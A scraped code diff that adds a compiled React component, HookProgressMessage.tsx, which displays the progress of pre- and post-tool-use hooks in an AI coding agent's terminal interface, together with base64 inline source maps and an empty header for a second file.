ZiByZXN1bHRNc2cubWVzc2FnZS5jb250ZW50KSB7XG4gICAgICBpZiAoY29udGVudC50eXBlID09PSAndG9vbF9yZXN1bHQnKSB7XG4gICAgICAgIHJlc3VsdHNCeVRvb2xVc2VJZC5zZXQoY29udGVudC50b29sX3VzZV9pZCwge1xuICAgICAgICAgIHBhcmFtOiBjb250ZW50LFxuICAgICAgICAgIG91dHB1dDogcmVzdWx0TXNnLnRvb2xVc2VSZXN1bHQsXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgY29uc3QgdG9vbFVzZXNEYXRhID0gbWVzc2FnZS5tZXNzYWdlcy5tYXAobXNnID0+IHtcbiAgICBjb25zdCBjb250ZW50ID0gbXNnLm1lc3NhZ2UuY29udGVudFswXVxuICAgIGNvbnN0IHJlc3VsdCA9IHJlc3VsdHNCeVRvb2xVc2VJZC5nZXQoY29udGVudC5pZClcbiAgICByZXR1cm4ge1xuICAgICAgcGFyYW06IGNvbnRlbnQgYXMgVG9vbFVzZUJsb2NrUGFyYW0sXG4gICAgICBpc1Jlc29sdmVkOiBsb29rdXBzLnJlc29sdmVkVG9vbFVzZUlEcy5oYXMoY29udGVudC5pZCksXG4gICAgICBpc0Vycm9yOiBsb29rdXBzLmVycm9yZWRUb29sVXNlSURzLmhhcyhjb250ZW50LmlkKSxcbiAgICAgIGlzSW5Qcm9ncmVzczogaW5Qcm9ncmVzc1Rvb2xVc2VJRHMuaGFzKGNvbnRlbnQuaWQpLFxuICAgICAgcHJvZ3Jlc3NNZXNzYWdlczogZmlsdGVyVG9vbFByb2dyZXNzTWVzc2FnZXMoXG4gICAgICAgIGxvb2t1cHMucHJvZ3Jlc3NNZXNzYWdlc0J5VG9vbFVzZUlELmdldChjb250ZW50LmlkKSA/PyBbXSxcbiAgICAgICksXG4gICAgICByZXN1bHQsXG4gICAgfVxuICB9KVxuXG4gIGNvbnN0IGFueUluUHJvZ3Jlc3MgPSB0b29sVXNlc0RhdGEuc29tZShkID0+IGQuaXNJblByb2dyZXNzKVxuXG4gIHJldHVybiB0b29sLnJlbmRlckdyb3VwZWRUb29sVXNlKHRvb2xVc2VzRGF0YSwge1xuICAgIHNob3VsZEFuaW1hdGU6IHNob3VsZEFuaW1hdGUgJiYgYW55SW5Qcm9ncmVzcyxcbiAgICB0b29scyxcbiAgfSlcbn1cbiJdLCJtYXBwaW5ncyI6IkFBQUEsY0FDRUEsb0JBQW9CLEVBQ3BCQyxpQkFBaUIsUUFDWixtREFBbUQ7QUFDMUQsT0FBTyxLQUFLQyxLQUFLLE1BQU0sT0FBTztBQUM5QixTQUNFQywwQkFBMEIsRUFDMUJDLGNBQWMsRUFDZCxLQUFLQyxLQUFLLFFBQ0wsZUFBZTtBQUN0QixjQUFjQyxxQkFBcUIsUUFBUSx3QkFBd0I7QUFDbkUsY0FBY0MsbUJBQW1CLFFBQVEseUJBQXlCO0FBRWxFLEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVILHFCQUFxQjtFQUM5QkksS0FBSyxFQUFFTCxLQUFLO0VBQ1pNLE9BQU8sRUFBRUMsVUFBVSxDQUFDLE9BQU9MLG1CQUFtQixDQUFDO0VBQy9DTSxvQkFBb0IsRUFBRUMsR0FBRyxDQUFDLE1BQU0sQ0FBQztFQUNqQ0MsYUFBYSxFQUFFLE9BQU87QUFDeEIsQ0FBQztBQUVELE9BQU8sU0FBU0MscUJBQXFCQSxDQUFDO0VBQ3BDUCxPQUFPO0VBQ1BDLEtBQUs7RUFDTEMsT0FBTztFQUNQRSxvQkFBb0I7RUFDcEJFO0FBQ0ssQ0FBTixFQUFFUCxLQUFLLENBQUMsRUFBRU4sS0FBSyxDQUFDZSxTQUFTLENBQUM7RUFDekIsTUFBTUMsSUFBSSxHQUFHZCxjQUFjLENBQUNNLEtBQUssRUFBRUQsT0FBTyxDQUFDVSxRQUFRLENBQUM7RUFDcEQsSUFBSSxDQUFDRCxJQUFJLEVBQUVFLG9CQUFvQixFQUFFO0lBQy9CLE9BQU8sSUFBSTtFQUNiOztFQUVBO0VBQ0EsTUFBTUMsa0JBQWtCLEdBQUcsSUFBSUMsR0FBRyxDQUNoQyxNQUFNLEVBQ047SUFBRUMsS0FBSyxFQUFFdkIsb0JBQW9CO0lBQUV3QixNQUFNLEVBQUUsT0FBTztFQUFDLENBQUMsQ0FDakQsQ0FBQyxDQUFDO0VBQ0gsS0FBSyxNQUFNQyxTQUFTLElBQUloQixPQUFPLENBQUNpQixPQUFPLEVBQUU7SUFDdkMsS0FBSyxNQUFNQyxPQUFPLElBQUlGLFNBQVMsQ0FBQ2hCLE9BQU8sQ0FBQ2tCLE9BQU8sRUFBRTtNQUMvQyxJQUFJQSxPQUFPLENBQUNDLElBQUksS0FBSyxhQUFhLEVBQUU7UUFDbENQLGtCQUFrQixDQUFDUSxHQUFHLENBQUNGLE9BQU8sQ0FBQ0csV0FBVyxFQUFFO1VBQzFDUCxLQUFLLEVBQUVJLE9BQU87VUFDZEgsTUFBTSxFQUFFQyxTQUFTLENBQUNNO1FBQ3BCLENBQUMsQ0FBQztNQUNKO0lBQ0Y7RUFDRjtFQUVBLE1BQU1DLFlBQVksR0FBR3ZCLE9BQU8sQ0FBQ3dCLFFBQVEsQ0FBQ0MsR0FBRyxDQUFDQyxHQUFHLElBQUk7SUFDL0MsTUFBTVIsT0FBTyxHQUFHUSxHQUFHLENBQUMxQixPQUFPLENBQUNrQixPQUFPLENBQUMsQ0FBQyxDQUFDO0lBQ3RDLE1BQU1TLE1BQU0sR0FBR2Ysa0JBQWtCLENBQUNnQixHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDO0lBQ2pELE9BQU87TUFDTGYsS0FBSyxFQUFFSSxPQUFPLElBQUkxQixpQkFBaUI7TUFDbkNzQyxVQUFVLEVBQUU1QixPQUFPLENBQUM2QixrQkFBa0IsQ0FBQ0MsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUN0REksT0FBTyxFQUFFL0IsT0FBTyxDQUFDZ0MsaUJBQWlCLENBQUNGLEdBQUcsQ0FBQ2QsT0FBTyxDQUFDVyxFQUFFLENBQUM7TUFDbERNLFlBQVksRUFBRS9CLG9CQUFvQixDQUFDNEIsR0FBRyxDQUFDZCxPQUFPLENBQUNXLEVBQUUsQ0FBQztNQUNsRE8sZ0JBQWdCLEVBQUUxQywwQkFBMEIsQ0FDMUNRLE9BQU8sQ0FBQ21DLDJCQUEyQixDQUFDVCxHQUFHLENBQUNWLE9BQU8sQ0FBQ1csRUFBRSxDQUFDLElBQUksRUFDekQsQ0FBQztNQUNERjtJQUNGLENBQUM7RUFDSCxDQUFDLENBQUM7RUFFRixNQUFNVyxhQUFhLEdBQUdmLFlBQVksQ0FBQ2dCLElBQUksQ0FBQ0MsQ0FBQyxJQUFJQSxDQUFDLENBQUNMLFlBQVksQ0FBQztFQUU1RCxPQUFPMUIsSUFBSSxDQUFDRSxvQkFBb0IsQ0FBQ1ksWUFBWSxFQUFFO0lBQzdDakIsYUFBYSxFQUFFQSxhQUFhLElBQUlnQyxhQUFhO0lBQzdDckM7RUFDRixDQUFDLENBQUM7QUFDSiIsImlnbm9yZUxpc3QiOltdfQ==
|
src/components/messages/HookProgressMessage.tsx
ADDED
|
@@ -0,0 +1,116 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { c as _c } from "react/compiler-runtime";
|
| 2 |
+
import * as React from 'react';
|
| 3 |
+
import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js';
|
| 4 |
+
import type { buildMessageLookups } from 'src/utils/messages.js';
|
| 5 |
+
import { Box, Text } from '../../ink.js';
|
| 6 |
+
import { MessageResponse } from '../MessageResponse.js';
|
| 7 |
+
type Props = {
|
| 8 |
+
hookEvent: HookEvent;
|
| 9 |
+
lookups: ReturnType<typeof buildMessageLookups>;
|
| 10 |
+
toolUseID: string;
|
| 11 |
+
verbose: boolean;
|
| 12 |
+
isTranscriptMode?: boolean;
|
| 13 |
+
};
|
| 14 |
+
export function HookProgressMessage(t0) {
|
| 15 |
+
const $ = _c(22);
|
| 16 |
+
const {
|
| 17 |
+
hookEvent,
|
| 18 |
+
lookups,
|
| 19 |
+
toolUseID,
|
| 20 |
+
isTranscriptMode
|
| 21 |
+
} = t0;
|
| 22 |
+
let t1;
|
| 23 |
+
if ($[0] !== hookEvent || $[1] !== lookups.inProgressHookCounts || $[2] !== toolUseID) {
|
| 24 |
+
t1 = lookups.inProgressHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
|
| 25 |
+
$[0] = hookEvent;
|
| 26 |
+
$[1] = lookups.inProgressHookCounts;
|
| 27 |
+
$[2] = toolUseID;
|
| 28 |
+
$[3] = t1;
|
| 29 |
+
} else {
|
| 30 |
+
t1 = $[3];
|
| 31 |
+
}
|
| 32 |
+
const inProgressHookCount = t1;
|
| 33 |
+
const resolvedHookCount = lookups.resolvedHookCounts.get(toolUseID)?.get(hookEvent) ?? 0;
|
| 34 |
+
if (inProgressHookCount === 0) {
|
| 35 |
+
return null;
|
| 36 |
+
}
|
| 37 |
+
if (hookEvent === "PreToolUse" || hookEvent === "PostToolUse") {
|
| 38 |
+
if (isTranscriptMode) {
|
| 39 |
+
let t2;
|
| 40 |
+
if ($[4] !== inProgressHookCount) {
|
| 41 |
+
t2 = <Text dimColor={true}>{inProgressHookCount} </Text>;
|
| 42 |
+
$[4] = inProgressHookCount;
|
| 43 |
+
$[5] = t2;
|
| 44 |
+
} else {
|
| 45 |
+
t2 = $[5];
|
| 46 |
+
}
|
| 47 |
+
let t3;
|
| 48 |
+
if ($[6] !== hookEvent) {
|
| 49 |
+
t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
|
| 50 |
+
$[6] = hookEvent;
|
| 51 |
+
$[7] = t3;
|
| 52 |
+
} else {
|
| 53 |
+
t3 = $[7];
|
| 54 |
+
}
|
| 55 |
+
const t4 = inProgressHookCount === 1 ? " hook" : " hooks";
|
| 56 |
+
let t5;
|
| 57 |
+
if ($[8] !== t4) {
|
| 58 |
+
t5 = <Text dimColor={true}>{t4} ran</Text>;
|
| 59 |
+
$[8] = t4;
|
| 60 |
+
$[9] = t5;
|
| 61 |
+
} else {
|
| 62 |
+
t5 = $[9];
|
| 63 |
+
}
|
| 64 |
+
let t6;
|
| 65 |
+
if ($[10] !== t2 || $[11] !== t3 || $[12] !== t5) {
|
| 66 |
+
t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
|
| 67 |
+
$[10] = t2;
|
| 68 |
+
$[11] = t3;
|
| 69 |
+
$[12] = t5;
|
| 70 |
+
$[13] = t6;
|
| 71 |
+
} else {
|
| 72 |
+
t6 = $[13];
|
| 73 |
+
}
|
| 74 |
+
return t6;
|
| 75 |
+
}
|
| 76 |
+
return null;
|
| 77 |
+
}
|
| 78 |
+
if (resolvedHookCount === inProgressHookCount) {
|
| 79 |
+
return null;
|
| 80 |
+
}
|
| 81 |
+
let t2;
|
| 82 |
+
if ($[14] === Symbol.for("react.memo_cache_sentinel")) {
|
| 83 |
+
t2 = <Text dimColor={true}>Running </Text>;
|
| 84 |
+
$[14] = t2;
|
| 85 |
+
} else {
|
| 86 |
+
t2 = $[14];
|
| 87 |
+
}
|
| 88 |
+
let t3;
|
| 89 |
+
if ($[15] !== hookEvent) {
|
| 90 |
+
t3 = <Text dimColor={true} bold={true}>{hookEvent}</Text>;
|
| 91 |
+
$[15] = hookEvent;
|
| 92 |
+
$[16] = t3;
|
| 93 |
+
} else {
|
| 94 |
+
t3 = $[16];
|
| 95 |
+
}
|
| 96 |
+
const t4 = inProgressHookCount === 1 ? " hook\u2026" : " hooks\u2026";
|
| 97 |
+
let t5;
|
| 98 |
+
if ($[17] !== t4) {
|
| 99 |
+
t5 = <Text dimColor={true}>{t4}</Text>;
|
| 100 |
+
$[17] = t4;
|
| 101 |
+
$[18] = t5;
|
| 102 |
+
} else {
|
| 103 |
+
t5 = $[18];
|
| 104 |
+
}
|
| 105 |
+
let t6;
|
| 106 |
+
if ($[19] !== t3 || $[20] !== t5) {
|
| 107 |
+
t6 = <MessageResponse><Box flexDirection="row">{t2}{t3}{t5}</Box></MessageResponse>;
|
| 108 |
+
$[19] = t3;
|
| 109 |
+
$[20] = t5;
|
| 110 |
+
$[21] = t6;
|
| 111 |
+
} else {
|
| 112 |
+
t6 = $[21];
|
| 113 |
+
}
|
| 114 |
+
return t6;
|
| 115 |
+
}
|
| 116 |
+
//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkhvb2tFdmVudCIsImJ1aWxkTWVzc2FnZUxvb2t1cHMiLCJCb3giLCJUZXh0IiwiTWVzc2FnZVJlc3BvbnNlIiwiUHJvcHMiLCJob29rRXZlbnQiLCJsb29rdXBzIiwiUmV0dXJuVHlwZSIsInRvb2xVc2VJRCIsInZlcmJvc2UiLCJpc1RyYW5zY3JpcHRNb2RlIiwiSG9va1Byb2dyZXNzTWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJpblByb2dyZXNzSG9va0NvdW50cyIsImdldCIsImluUHJvZ3Jlc3NIb29rQ291bnQiLCJyZXNvbHZlZEhvb2tDb3VudCIsInJlc29sdmVkSG9va0NvdW50cyIsInQyIiwidDMiLCJ0NCIsInQ1IiwidDYiLCJTeW1ib2wiLCJmb3IiXSwic291cmNlcyI6WyJIb29rUHJvZ3Jlc3NNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB0eXBlIHsgSG9va0V2ZW50IH0gZnJvbSAnc3JjL2VudHJ5cG9pbnRzL2FnZW50U2RrVHlwZXMuanMnXG5pbXBvcnQgdHlwZSB7IGJ1aWxkTWVzc2FnZUxvb2t1cHMgfSBmcm9tICdzcmMvdXRpbHMvbWVzc2FnZXMuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi9NZXNzYWdlUmVzcG9uc2UuanMnXG5cbnR5cGUgUHJvcHMgPSB7XG4gIGhvb2tFdmVudDogSG9va0V2ZW50XG4gIGxvb2t1cHM6IFJldHVyblR5cGU8dHlwZW9mIGJ1aWxkTWVzc2FnZUxvb2t1cHM+XG4gIHRvb2xVc2VJRDogc3RyaW5nXG4gIHZlcmJvc2U6IGJvb2xlYW5cbiAgaXNUcmFuc2NyaXB0TW9kZT86IGJvb2xlYW5cbn1cblxuZXhwb3J0IGZ1bmN0aW9uIEhvb2tQcm9ncmVzc01lc3NhZ2Uoe1xuICBob29rRXZlbnQsXG4gIGxvb2t1cHMsXG4gIHRvb2xVc2VJRCxcbiAgaXNUcmFuc2NyaXB0TW9kZSxcbn06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgaW5Qcm9ncmVzc0hvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5pblByb2dyZXNzSG9va0NvdW50cy5nZXQodG9vbFVzZUlEKT8uZ2V0KGhvb2tFdmVudCkgPz8gMFxuICBjb25zdCByZXNvbHZlZEhvb2tDb3VudCA9XG4gICAgbG9va3Vwcy5yZXNvbHZlZEhvb2tDb3VudHMuZ2V0KHRvb2xVc2VJRCk/LmdldChob29rRXZlbnQpID8/IDBcbiAgaWYgKGluUHJvZ3Jlc3NIb29rQ291bnQgPT09IDApIHtcbiAgICByZXR1cm4gbnVsbFxuICB9XG5cbiAgaWYgKGhvb2tFdmVudCA9PT0gJ1ByZVRvb2xVc2UnIHx8IGhvb2tFdmVudCA9PT0gJ1Bvc3RUb29sVXNlJykge1xuICAgIC8vIEluIHRyYW5zY3JpcHQgbW9kZSwgc2hvdyBhIHN0YXRpYyBzdW1tYXJ5IHNpbmNlIG1lc3NhZ2VzIG5ldmVyIHJlLXJlbmRlclxuICAgIC8vIChzbyBhIHRyYW5zaWVudCBcIlJ1bm5pbmcuLi5cIiB3b3VsZCBnZXQgc3R1Y2spLlxuICAgIGlmIChpc1RyYW5zY3JpcHRNb2RlKSB7XG4gICAgICByZXR1cm4gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlPlxuICAgICAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cInJvd1wiPlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+e2luUHJvZ3Jlc3NIb29rQ291bnR9IDwvVGV4dD5cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAgICAgIHtob29rRXZlbnR9XG4gICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgICAge2luUHJvZ3Jlc3NIb29rQ291bnQgPT09IDEgPyAnIGhvb2snIDogJyBob29rcyd9IHJhblxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICAgIClcbiAgICB9XG4gICAgLy8gT3V0c2lkZSB0cmFuc2NyaXB0IG1vZGUsIGhpZGUg4oCUIGNvbXBsZXRpb24gaW5mbyBpcyBzaG93biB2aWFcbiAgICAvLyBhc3luY19ob29rX3Jlc3BvbnNlIGF0dGFjaG1lbnRzIGluc3RlYWQuXG4gICAgcmV0dXJuIG51bGxcbiAgfVxuXG4gIGlmIChyZXNvbHZlZEhvb2tDb3VudCA9PT0gaW5Qcm9ncmVzc0hvb2tDb3VudCkge1xuICAgIHJldHVybiBudWxsXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJyb3dcIj5cbiAgICAgICAgPFRleHQgZGltQ29sb3I+UnVubmluZyA8L1RleHQ+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yIGJvbGQ+XG4gICAgICAgICAge2hvb2tFdmVudH1cbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8VGV4dCBkaW1Db2xvcj57aW5Qcm9ncmVzc0hvb2tDb3VudCA9PT0gMSA/ICcgaG9va+KApicgOiAnIGhvb2tz4oCmJ308L1RleHQ+XG4gICAgICA8L0JveD5cbiAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBTyxLQUFLQSxLQUFLLE1BQU0sT0FBTztBQUM5QixjQUFjQyxTQUFTLFFBQVEsa0NBQWtDO0FBQ2pFLGNBQWNDLG1CQUFtQixRQUFRLHVCQUF1QjtBQUNoRSxTQUFTQyxHQUFHLEVBQUVDLElBQUksUUFBUSxjQUFjO0FBQ3hDLFNBQVNDLGVBQWUsUUFBUSx1QkFBdUI7QUFFdkQsS0FBS0MsS0FBSyxHQUFHO0VBQ1hDLFNBQVMsRUFBRU4sU0FBUztFQUNwQk8sT0FBTyxFQUFFQyxVQUFVLENBQUMsT0FBT1AsbUJBQW1CLENBQUM7RUFDL0NRLFNBQVMsRUFBRSxNQUFNO0VBQ2pCQyxPQUFPLEVB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QTtNQUFBO01BQUEsT0FWbEJZLEVBVWtCO0lBQUE7SUFFckIsT0FHTSxJQUFJO0VBQUE7RUFHYixJQUFJTixpQkFBaUIsS0FBS0QsbUJBQW1CO0lBQUEsT0FDcEMsSUFBSTtFQUFBO0VBQ1osSUFBQUcsRUFBQTtFQUFBLElBQUFSLENBQUEsU0FBQWEsTUFBQSxDQUFBQyxHQUFBO0lBS0tOLEVBQUEsSUFBQyxJQUFJLENBQUMsUUFBUSxDQUFSLEtBQU8sQ0FBQyxDQUFDLFFBQVEsRUFBdEIsSUFBSSxDQUF5QjtJQUFBUixDQUFBLE9BQUFRLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFSLENBQUE7RUFBQTtFQUFBLElBQUFTLEVBQUE7RUFBQSxJQUFBVCxDQUFBLFNBQUFSLFNBQUE7SUFDOUJpQixFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBQyxJQUFJLENBQUosS0FBRyxDQUFDLENBQ2hCakIsVUFBUSxDQUNYLEVBRkMsSUFBSSxDQUVFO0lBQUFRLENBQUEsT0FBQVIsU0FBQTtJQUFBUSxDQUFBLE9BQUFTLEVBQUE7RUFBQTtJQUFBQSxFQUFBLEdBQUFULENBQUE7RUFBQTtFQUNTLE1BQUFVLEVBQUEsR0FBQUwsbUJBQW1CLEtBQUssQ0FBd0IsR0FBaEQsYUFBZ0QsR0FBaEQsY0FBZ0Q7RUFBQSxJQUFBTSxFQUFBO0VBQUEsSUFBQVgsQ0FBQSxTQUFBVSxFQUFBO0lBQWhFQyxFQUFBLElBQUMsSUFBSSxDQUFDLFFBQVEsQ0FBUixLQUFPLENBQUMsQ0FBRSxDQUFBRCxFQUErQyxDQUFFLEVBQWhFLElBQUksQ0FBbUU7SUFBQVYsQ0FBQSxPQUFBVSxFQUFBO0lBQUFWLENBQUEsT0FBQVcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQVgsQ0FBQTtFQUFBO0VBQUEsSUFBQVksRUFBQTtFQUFBLElBQUFaLENBQUEsU0FBQVMsRUFBQSxJQUFBVCxDQUFBLFNBQUFXLEVBQUE7SUFONUVDLEVBQUEsSUFBQyxlQUFlLENBQ2QsQ0FBQyxHQUFHLENBQWUsYUFBSyxDQUFMLEtBQUssQ0FDdEIsQ0FBQUosRUFBNkIsQ0FDN0IsQ0FBQUMsRUFFTSxDQUNOLENBQUFFLEVBQXVFLENBQ3pFLEVBTkMsR0FBRyxDQU9OLEVBUkMsZUFBZSxDQVFFO0lBQUFYLENBQUEsT0FBQVMsRUFBQTtJQUFBVCxDQUFBLE9BQUFXLEVBQUE7SUFBQVgsQ0FBQSxPQUFBWSxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBWixDQUFBO0VBQUE7RUFBQSxPQVJsQlksRUFRa0I7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==
|
src/components/messages/teamMemCollapsed.tsx
ADDED
|
@@ -0,0 +1,140 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
